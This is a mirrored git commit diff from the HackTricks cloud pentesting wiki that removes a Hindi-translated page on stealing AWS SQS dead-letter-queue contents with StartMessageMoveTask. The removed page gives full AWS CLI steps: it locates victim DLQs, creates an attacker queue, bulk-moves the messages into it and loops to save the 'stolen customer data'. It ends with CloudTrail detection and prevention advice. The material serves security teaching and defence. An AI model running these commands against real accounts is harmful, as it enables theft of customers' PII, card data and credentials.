mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src
This commit is contained in:
Translator
@@ -1,154 +0,0 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## विवरण
|
||||
|
||||
SQS message move tasks का दुरुपयोग करके किसी पीड़ित के Dead-Letter Queue (DLQ) में जमा सभी संदेशों को उनके attacker-controlled queue पर `sqs:StartMessageMoveTask` के माध्यम से redirect कर चुराएँ। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर समय के साथ DLQs में जमा संवेदनशील डेटा को exfiltrate करती है।
|
||||
|
||||
## Dead-Letter Queue (DLQ) क्या है?
|
||||
|
||||
Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वतः भेज दिए जाते हैं जब मुख्य एप्लिकेशन उन्हें सफलतापूर्वक process नहीं कर पाता। ये failed संदेश अक्सर शामिल होते हैं:
|
||||
- संवेदनशील एप्लिकेशन डेटा जो process नहीं हो पाया
|
||||
- त्रुटि विवरण और डिबगिंग जानकारी
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials, या अन्य secrets
|
||||
- व्यापार-सम्वंधी महत्वपूर्ण लेन-देन डेटा
|
||||
|
||||
DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, जिससे वे मूल्यवान लक्ष्य बन जाते हैं क्योंकि वे समय के साथ उन संवेदनशील डेटा को जमा कर लेते हैं जिन्हें एप्लिकेशन सही तरीके से handle नहीं कर पाया।
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**वास्तविक दुनिया का उदाहरण:**
|
||||
1. **E-commerce application** SQS के माध्यम से ग्राहक ऑर्डर process करता है
|
||||
2. **कुछ ऑर्डर fail हो जाते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं
|
||||
3. **DLQ में जमा होते हैं** हफ्तों/महीनों के failed ऑर्डर जिनमें ग्राहक डेटा होता है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **हमलावर को पहुँच मिल जाती है** AWS credentials के साथ जिनमें SQS permissions शामिल हैं
|
||||
5. **हमलावर पाता है** कि DLQ में हजारों failed ऑर्डर हैं जिनमें संवेदनशील डेटा है
|
||||
6. **व्यक्तिगत संदेशों तक पहुँचने की बजाय** (धीमा और स्पष्ट), हमलावर `StartMessageMoveTask` का उपयोग करके सभी संदेशों को अपने queue में एकसाथ transfer कर देता है
|
||||
7. **हमलावर एक ही ऑपरेशन में** सभी ऐतिहासिक संवेदनशील डेटा निकाल लेता है
|
||||
|
||||
## आवश्यकताएँ
|
||||
- स्रोत queue DLQ के रूप में configured होना चाहिए (कम से कम एक queue RedrivePolicy द्वारा referenced)।
|
||||
- IAM permissions (compromised victim principal के रूप में चलाने पर):
|
||||
- DLQ (source) पर: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- destination queue पर: संदेश deliver करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage` की अनुमति देता हो)। उसी खाते के destination के लिए यह सामान्यतः डिफ़ॉल्ट रूप से अनुमति होती है।
|
||||
- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## प्रभाव
|
||||
Native SQS APIs का उपयोग करके DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को तेज़ी से exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है।
|
||||
|
||||
## दुरुपयोग कैसे करें
|
||||
|
||||
- पीड़ित DLQ ARN पहचानें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में referenced है (कोई भी queue चलेगा)।
|
||||
- हमलावर-नियंत्रित destination queue बनाएं या चुनें और उसका ARN प्राप्त करें।
|
||||
- पीड़ित DLQ से अपने destination queue के लिए message move task शुरू करें।
|
||||
- प्रगति की निगरानी करें या आवश्यकता होने पर उसे रद्द करें।
|
||||
|
||||
### CLI उदाहरण: ई-कॉमर्स DLQ से ग्राहक डेटा exfiltrate करना
|
||||
|
||||
**Scenario**: एक हमलावर ने AWS credentials compromise कर लिए हैं और पाया कि एक ई-कॉमर्स एप्लिकेशन SQS का उपयोग करता है जिसके DLQ में failed customer order processing attempts हैं।
|
||||
|
||||
1) **पीड़ित DLQ की खोज और जाँच करें**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **attacker-controlled destination queue बनाएँ**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **थोक संदेश चोरी को निष्पादित करें**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **चोरी किए गए संवेदनशील डेटा को एकत्र करें**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### क्रॉस-एकाउंट नोट्स
|
||||
- गंतव्य queue में एक resource policy होना चाहिए जो विक्टिम प्रिंसिपल को `sqs:SendMessage` की अनुमति दे (और, यदि उपयोग हो, KMS grants/permissions)।
|
||||
|
||||
## क्यों यह हमला प्रभावी है
|
||||
|
||||
1. **वैध AWS फीचर**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना मुश्किल होता है
|
||||
2. **बड़े पैमाने का ऑपरेशन**: धीमी व्यक्तिगत पहुँच की बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है
|
||||
3. **ऐतिहासिक डेटा**: DLQs हफ्तों/महीनों में संवेदनशील डेटा जमा कर लेते हैं
|
||||
4. **कम निगरानी**: कई संगठन DLQ एक्सेस की कड़ी निगरानी नहीं करते
|
||||
5. **क्रॉस-एकाउंट सक्षम**: यदि अनुमतियाँ अनुमति दें तो हमलावर अपने AWS खाते में exfiltrate कर सकता है
|
||||
|
||||
## पहचान और रोकथाम
|
||||
|
||||
### पहचान
|
||||
संदिग्ध `StartMessageMoveTask` API कॉल्स के लिए CloudTrail की निगरानी करें:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### रोकथाम
|
||||
1. **Least Privilege**: `sqs:StartMessageMoveTask` permissions केवल आवश्यक रोल्स तक सीमित रखें
|
||||
2. **Monitor DLQs**: असामान्य DLQ गतिविधि के लिए CloudWatch alarms सेट करें
|
||||
3. **Cross-Account Policies**: cross-account access की अनुमति देने वाली SQS queue policies को सावधानी से समीक्षा करें
|
||||
4. **Encrypt DLQs**: सीमित key policies के साथ SSE-KMS का उपयोग करें
|
||||
5. **Regular Cleanup**: संवेदनशील डेटा को DLQs में अनिश्चितकाल तक जमा न होने दें
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user